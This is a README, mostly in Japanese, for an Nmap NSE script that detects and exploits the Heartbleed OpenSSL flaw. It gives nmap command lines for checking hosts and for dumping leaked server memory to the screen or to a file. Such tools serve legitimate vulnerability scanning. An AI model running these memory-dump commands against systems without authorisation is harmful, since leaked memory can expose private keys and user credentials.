ssl-heartbleed.nse

Heartbleed/CVE-2014-0160 を発見・悪用する Nmap NSE スクリプト。このスクリプトは現在、基本的に Patrik Karlsson が作成したものに、自身のスクリプトからいくつかの小さな変更を移植したものです。

Features

• FTP、SMTP、XMPP のサポートを含みます (https://github.com/nmap/nmap/blob/master/nselib/sslcert.lua#L231)。
• TLS のすべてのバージョン (TLSv1.0、TLSv1.1、TLSv1.2) をサポートします。
• 漏洩したメモリを16進ダンプとして出力します。
• 漏洩したメモリをファイルにダンプします。

Usage

Check if a host is vulnerable

これはすべての SSL、FTP、SMTP、および/または XMPP ポートで実行されます。

$ nmap --script ./openssl-heartbleed.nse host.tld

Dump leaked memory from a vulnerable host

漏洩したメモリのダンプは、-d フラグを使用して Nmap のデバッグレベルを上げることで有効になります。

$ nmap -d --script=./openssl-heartbleed.nse host.tld

Dump leaked memory into a file

$ nmap --script ./ssl-heartbleed.nse --script-args 'ssl-heartbleed.dumpfile=/tmp/heartbleed.dump' host.tld

Run ssl-heartbleed.nse against every port

サービスが検出されたかどうかに関係なく、すべてのポートでスクリプトを強制的に実行します。

$ nmap --script +./ssl-heartbleed.nse host.tld